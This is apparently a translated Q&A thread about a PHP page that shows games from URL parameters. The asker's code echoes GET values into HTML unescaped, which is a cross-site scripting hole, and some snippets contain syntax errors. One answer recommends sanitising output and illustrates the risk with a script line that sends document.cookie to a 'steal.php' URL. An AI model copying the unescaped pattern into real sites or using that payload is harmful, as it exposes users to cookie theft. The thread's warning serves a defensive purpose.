我正在使用PHP创建一个游戏网站,我想只使用一个页面进行游戏而不是一堆。我希望输入的信息如下:
`?swf = [路径到.swf]& name = [游戏名称]& description = [游戏说明]& instruction = [游戏说明]``
问题是如果URL中没有输入数据,则返回黑页。如果URL中没有任何内容,我想使用if ... else来显示特色游戏。我现在的代码是:
<?php $name=$_GET["name"];
if ($name=="*")
echo "<h3>$name"</h3>;
else
echo "Featured Game Name";
?>
<?php $description=$_GET["description"];
if ($description=="*")
echo "<h5>$description</h3>;
else
echo "<h5>Featured Game Description</h5>";
?>
<object type="application/x-shockwave-flash" data="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" width="700" height="400">
<param name="movie" value="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" />
</object>
<?php $instruction=$_GET["instruction"];
if ($instruction=="*")
echo "<p>$instruction</p>;
else
echo "Featured Game Instruction";
?>
任何人都可以就如何完成此事提出任何建议吗?
答案 0 :(得分:3)
我不确定if($ name ==“*”)是做什么的,但我会用
if(isset($_GET['name']))
相反,检查名称是否已传递给网址。
答案 1 :(得分:1)
我假设$_GET['name'] == "*"
你混淆了什么。在这种情况下,它只是一个字符串比较。 *
不是匹配SQL中的任何通配符。如果您想检查$_GET['name']
中是否有内容,可以使用empty或isset。
另外,我建议你检查一下name
,因为你的所有参数在概念上都属于游戏。如果没有name
,则不会有description
和instructions
。
但无论你做什么,一定要清理你要输出的参数,否则有人迟早会提供这个或类似名称的东西:
<script>document.location='http://www.example.com/steal.php?'+document.cookie</script>
答案 2 :(得分:0)
if(empty($_GET['swf']) and empty($_GET['name']) and empty($_GET['description']) and empty($_GET['instruction']){
/// code here
}else{
/// and here
}